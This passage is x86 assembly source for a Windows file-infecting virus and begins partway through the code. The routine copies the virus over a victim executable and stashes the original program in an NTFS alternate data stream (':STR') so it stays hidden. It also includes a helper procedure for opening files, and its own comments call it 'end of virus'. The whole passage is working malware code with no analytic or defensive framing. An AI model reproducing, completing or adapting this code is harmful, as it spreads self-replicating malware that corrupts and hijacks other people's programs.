test eax,eax
jz infect_end
push 0
push edi
push offset file_name
call CopyFileA ;copy ourself to victim program
push esi
mov esi,edi
@endsz
xchg esi,edi
dec edi
mov eax,"RTS:" ;append :"STR" stream to
stosd ;victim program filename
xor al,al
stosb
call Create_File ;open victim file
jz infect_end
push 0
push ebx
call GetFileSize ;get its size
xchg eax,edi
push PAGE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push edi
push 0
call VirtualAlloc ;allocate enough memory
test eax,eax ;for file content
jz infect_end_handle
xchg eax,esi
xor eax,eax
push eax
@pushvar <file_size dd ?>
push edi
push esi
push ebx
call ReadFile ;read file content to
test eax,eax ;allocated memory
jz infect_end_handle
push ebx
call CloseHandle ;close its file handle
push offset file_name2
call DeleteFileA ;delete temporary file
mov byte ptr [flagz],CREATE_ALWAYS
push offset [WFD.WFD_szFileName]
call Create_File ;open stream
jz infect_end_dealloc
push 0
mov ecx,offset file_size
push ecx
push dword ptr [ecx]
push esi
push ebx
call WriteFile ;write there victim program
test eax,eax
jz infect_end_handle
infect_end_handle:
push ebx
call CloseHandle ;close its file handle
infect_end_dealloc:
push MEM_DECOMMIT
push dword ptr [file_size]
push esi
call VirtualFree ;free allocated memory
push MEM_RELEASE
push 0
push esi
call VirtualFree ;release reserved part of mem
infect_end:
ret
; [esp+4] - file_name
Create_File: ;proc for opening file
xor eax,eax
push eax
push eax
db 6ah
flagz db OPEN_EXISTING ;variable file open flag
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push dword ptr [esp+1ch]
call CreateFileA ;open file
xchg eax,ebx ;handle to EBX
inc ebx ;is EBX -1?
lahf ;store flags
dec ebx ;correct EBX
sahf ;restore flags
retn 4 ;quit from proc
end Start ;end of virus
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